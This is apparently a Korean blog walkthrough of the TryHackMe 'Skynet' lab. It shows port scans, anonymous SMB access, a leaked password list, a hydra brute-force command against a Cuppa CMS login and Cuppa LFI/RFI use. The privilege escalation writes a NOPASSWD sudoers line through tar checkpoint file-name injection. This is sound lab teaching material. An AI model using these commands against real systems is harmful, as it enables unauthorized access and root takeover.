안녕하세요.
이번에 풀어볼 머신은 Skynet입니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.155.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 22:25 KST
Nmap scan report for 10.10.155.175
Host is up (0.27s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
서버 전체 포트스캐닝에는 위와 같은 포트들이 나옵니다.
열린 포트에 대해서 조금 더 자세한 스캐닝을 시도해봅니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# nmap -sV -Pn -O -p 22,110,139,143,445 10.10.155.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 22:26 KST
Nmap scan report for 10.10.155.175
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (96%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
대상 서버가 Linux 환경이며 SSH 버전이 낮다는 것을 확인했습니다
SMB에 대해서는 smb에 관련된 nmap 스크립트를 사용해서 스캐닝을 해주며
SSH username enumeration 공격을 해줍니다.
또한 터미널 한곳에서는 웹 디렉토리 브루트포스를 시도해줍니다.
gobuster 결과에서 특이한 경로를 하나 발견했습니다.
해당 경로로 접속하니 로그인 창이 나옵니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# gobuster dir -k -w /usr/share/dirb/wordlists/common.txt -u http://10.10.155.175
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.155.175
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/admin (Status: 301) [Size: 314] [--> http://10.10.155.175/admin/]
/config (Status: 301) [Size: 315] [--> http://10.10.155.175/config/]
/css (Status: 301) [Size: 312] [--> http://10.10.155.175/css/]
/index.html (Status: 200) [Size: 523]
/js (Status: 301) [Size: 311] [--> http://10.10.155.175/js/]
/server-status (Status: 403) [Size: 278]
/squirrelmail (Status: 301) [Size: 321] [--> http://10.10.155.175/squirrelmail/]
구글링을 통해서 squirrelmail default password 등을 검색해봐도 기본 계정은 나오지 않습니다.
대신 Exploit DB에서 검색 결과 1.4.x 버전대에서 LFI 취약점이 존재한다고 하는데,
이것은 우선 로그인이 먼저 되어야 하는 것 같습니다.
SMB 프로토콜이 활성화 되어있는 상태니 smbclient -L을 통해서
공유하는 리소스의 리스트를 확인했는데 milesdyson이라는 리소스가 발견되었습니다.
이 외에 SMB에 익명 로그인이 가능한 리소스가 존재하여 해당 리소스에 접근해봅니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# smbclient //10.10.155.175/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Nov 27 01:04:00 2020
.. D 0 Tue Sep 17 16:20:17 2019
attention.txt N 163 Wed Sep 18 12:04:59 2019
logs D 0 Wed Sep 18 13:42:16 2019
9204224 blocks of size 1024. 5827900 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> cd logs
smb: \logs\> ls
. D 0 Wed Sep 18 13:42:16 2019
.. D 0 Fri Nov 27 01:04:00 2020
log2.txt N 0 Wed Sep 18 13:42:13 2019
log1.txt N 471 Wed Sep 18 13:41:59 2019
log3.txt N 0 Wed Sep 18 13:42:16 2019
get *
9204224 blocks of size 1024. 5827848 blocks available
smb: \logs\> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \logs\*
smb: \logs\> get log*
NT_STATUS_OBJECT_NAME_INVALID opening remote file \logs\log*
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (0.4 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \logs\> get log2.txt
getting file \logs\log2.txt of size 0 as log2.txt (0.0 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \logs\> get log3.txt
getting file \logs\log3.txt of size 0 as log3.txt (0.0 KiloBytes/sec) (average 0.2 KiloBytes/sec)
log1,2,3.txt 파일과 attention.txt 파일을 얻었습니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# cat attention.txt
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
attention.txt에서는 현재 시스템이 악성코드에 감염되었으니 패스워드를 변경하라는 메모가 남겨져있네요
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# cat log1.txt
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator
그리고 log1.txt에는 패스워드 파일로 보이는 것들이 남겨져있었습니다.
이게 왜 되는지는 모르겠는데 SMB에서 발견한 milesdyson 이라는 계정명과
log1.txt의 첫번째 패스워드를 입력해보니 squirrelmail 로그인에 성공합니다.
Samba Password reset이라는 제목의 글에는 어떤 패스워드로 변경했는지가 보이네요.
이제 다시 SMB의 milesdyson 리소스에 접근해봅니다.
포트스캐닝 결과를 안 올렸지만, --script='smb*' 를 통해서 확인한 결과
milesdyson 리소스에는 anonymous 로그인이 허용되지 않기 때문에 계정으로 로그인 해줘야 합니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# smbclient //10.10.155.175/milesdyson -U milesdyson
Password for [WORKGROUP\milesdyson]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Sep 17 18:05:47 2019
.. D 0 Wed Sep 18 12:51:03 2019
Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 18:05:14 2019
Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 18:05:14 2019
Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 18:05:14 2019
notes D 0 Tue Sep 17 18:18:40 2019
Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 18:05:14 2019
Structuring your Machine Learning Project.pdf N 3531427 Tue Sep 17 18:05:14 2019
9204224 blocks of size 1024. 5826176 blocks available
notes라는 디렉토리에 접속해봅니다.
ls 명령을 하면 엄청나게 많은 파일이 나옵니다.
침투 실력을 정말 잘 키우시려는 분은 하나씩 읽어봐도 좋습니다.
하지만 저는 하나씩 읽어보다가 문서의 양이 너무 많아서 important라는 파일이 중요하다길래
그 파일만 읽었습니다.
smb: \> cd notes
smb: \notes\> ls
. D 0 Tue Sep 17 18:18:40 2019
.. D 0 Tue Sep 17 18:05:47 2019
3.01 Search.md N 65601 Tue Sep 17 18:01:29 2019
4.01 Agent-Based Models.md N 5683 Tue Sep 17 18:01:29 2019
2.08 In Practice.md N 7949 Tue Sep 17 18:01:29 2019
0.00 Cover.md N 3114 Tue Sep 17 18:01:29 2019
1.02 Linear Algebra.md N 70314 Tue Sep 17 18:01:29 2019
important.txt N 117 Tue Sep 17 18:18:39 2019
6.01 pandas.md N 9221 Tue Sep 17 18:01:29 2019
3.00 Artificial Intelligence.md N 33 Tue Sep 17 18:01:29 2019
2.01 Overview.md N 1165 Tue Sep 17 18:01:29 2019
3.02 Planning.md N 71657 Tue Sep 17 18:01:29 2019
1.04 Probability.md N 62712 Tue Sep 17 18:01:29 2019
2.06 Natural Language Processing.md N 82633 Tue Sep 17 18:01:29 2019
2.00 Machine Learning.md N 26 Tue Sep 17 18:01:29 2019
1.03 Calculus.md N 40779 Tue Sep 17 18:01:29 2019
3.03 Reinforcement Learning.md N 25119 Tue Sep 17 18:01:29 2019
1.08 Probabilistic Graphical Models.md N 81655 Tue Sep 17 18:01:29 2019
1.06 Bayesian Statistics.md N 39554 Tue Sep 17 18:01:29 2019
6.00 Appendices.md N 20 Tue Sep 17 18:01:29 2019
1.01 Functions.md N 7627 Tue Sep 17 18:01:29 2019
2.03 Neural Nets.md N 144726 Tue Sep 17 18:01:29 2019
2.04 Model Selection.md N 33383 Tue Sep 17 18:01:29 2019
2.02 Supervised Learning.md N 94287 Tue Sep 17 18:01:29 2019
4.00 Simulation.md N 20 Tue Sep 17 18:01:29 2019
3.05 In Practice.md N 1123 Tue Sep 17 18:01:29 2019
1.07 Graphs.md N 5110 Tue Sep 17 18:01:29 2019
2.07 Unsupervised Learning.md N 21579 Tue Sep 17 18:01:29 2019
2.05 Bayesian Learning.md N 39443 Tue Sep 17 18:01:29 2019
5.03 Anonymization.md N 2516 Tue Sep 17 18:01:29 2019
5.01 Process.md N 5788 Tue Sep 17 18:01:29 2019
1.09 Optimization.md N 25823 Tue Sep 17 18:01:29 2019
1.05 Statistics.md N 64291 Tue Sep 17 18:01:29 2019
5.02 Visualization.md N 940 Tue Sep 17 18:01:29 2019
5.00 In Practice.md N 21 Tue Sep 17 18:01:29 2019
4.02 Nonlinear Dynamics.md N 44601 Tue Sep 17 18:01:29 2019
1.10 Algorithms.md N 28790 Tue Sep 17 18:01:29 2019
3.04 Filtering.md N 13360 Tue Sep 17 18:01:29 2019
1.00 Foundations.md N 22 Tue Sep 17 18:01:29 2019
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# cat important.txt
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
important.txt의 내용을 확인해보면 CMS에 난독화된 경로를 추가했다는 것으로 보입니다.
그 외엔 별 쓸모없는 내용이라 웹 서버의 해당 난독화된 경로로 접근하면 Miles Dyson의 사진이 출력됩니다.
웹 페이지를 발견했으니 가장 먼저 해야할 것은 웹 디렉토리 브루트포스입니다.
그런데 gobuster 도구로 탐색해주니 administrator 경로가 바로 발견되었고
접속해보니 cuppa 라는 CMS 페이지가 노출됩니다.
Cuppa dafault password로 검색해보니 기본 계정은 admin:admin이라고 나오지만
패스워드를 변경했는지 로그인에 성공하지는 못합니다.
그래서 여기서 hydra 도구로 브루트포스 공격을 해야겠다고 생각되어서 공격을 해봤습니다.
┌──(root㉿kali)-[~/hack/LAB/Skynet]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.155.175 http-post-form "/45kra24zxs28v3yd/administrator/:user=^USER^&password=^PASS^&task=login:valid" -vV -f
브루트포스를 진행하며 Eploit DB에서 Cuppa CMS에 대해서 검색해보니 아래와 같이 CVE가 존재했습니다.
버전은 별다른 영향 없이 실행되는 취약점 같습니다.
문서에 나온대로 URL에 LFI 코드를 삽입하니 로컬 데이터가 다운로드 되는 것을 확인했습니다.
이를 통해서 유저플래그는 획득이 가능했습니다.
추가로 재밌던 부분은 Cuppa RFI에서는 HTTP 경로를 삽입하여
파일을 실행하는 것도 가능하다는 것이었습니다.
정말 다방면으로 활용 가능한 취약점이라고 생각되었습니다.
서버의 쉘을 획득한 이후 권한 상승을 위해서 설정을 찾다가
매 1분마다 root 권한으로 실행되는 스케줄을 찾았습니다.
www-data@skynet:/opt$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
milesdyson 디렉토리 하위에 백업 스크립트가 매분 실행되니 파일을 확인해줍니다.
www-data@skynet:/home/milesdyson/backups$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
www-data@skynet:/home/milesdyson/backups$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
www-data@skynet:/home/milesdyson/backups$ ls -la backup.sh
-rwxr-xr-x 1 root root 74 Sep 17 2019 backup.sh
현재 쓰기 권한은 존재하지 않아서 파일을 수정하지는 못하는데
파일의 내용을 읽어보니 /var/www/html 경로로 이동해서 tar 명령을 사용하는 것을 확인할 수 있습니다.
tar 명령이 사용되는 곳에서 checkpoint를 이용한 권한상승 기법이 존재합니다.
checkpoint는 tar 명령이 사용될 때 특정 시점에 명령어를 수행하게 하는 방법입니다.
echo ‘echo “www-data ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > sudo.sh
touch "/var/www/html/--checkpoint-action=exec=sh sudo.sh"
touch "/var/www/html/--checkpoint=1"
위 명령을 /var/www/html에서 해줍니다.
뜻하는 것은 /var/www/html 경로에서 현재 루트 권한으로 매분 tar 압축을 하기 때문에
/var/www/html 경로에 대해서 checkpoint를 설정하면
tar 명령이 될 때마다 checkpoint가 실행되어 sudo.sh를 실행합니다.
하지만 sudo.sh는 사용자가 패스워드 없이 루트 권한을 사용할 수 있는 명령어기 때문에
1분이 지나 sudo.sh가 실행되면 사용자는 루트로 권한상승이 가능합니다.
www-data@skynet:/var/www/html$ sudo -l
User www-data may run the following commands on skynet:
(root) NOPASSWD: ALL
(root) NOPASSWD: ALL
(root) NOPASSWD: ALL
(root) NOPASSWD: ALL
www-data@skynet:/var/www/html$ sudo su
root@skynet:/var/www/html# whoami
root
루트로 권한 상승에 성공했습니다!
이제 루트 플래그를 읽어줍니다.
root@skynet:/var/www/html# cd /root
root@skynet:~# ls
root.txt
root@skynet:~# cat root.txt
3f0372db24753accc7179a282cd6a949
이것으로 Skynet 모의침투를 마칩니다.
[TryHackMe] Relevant (1) | 2024.09.27 |
---|---|
[TryHackMe] Daily Bugle (2) | 2024.09.26 |
[TryHackMe] Game Zone (1) | 2024.09.25 |
[TryHackMe] HackPark (0) | 2024.09.25 |
[TryHackMe] Alfred (3) | 2024.09.25 |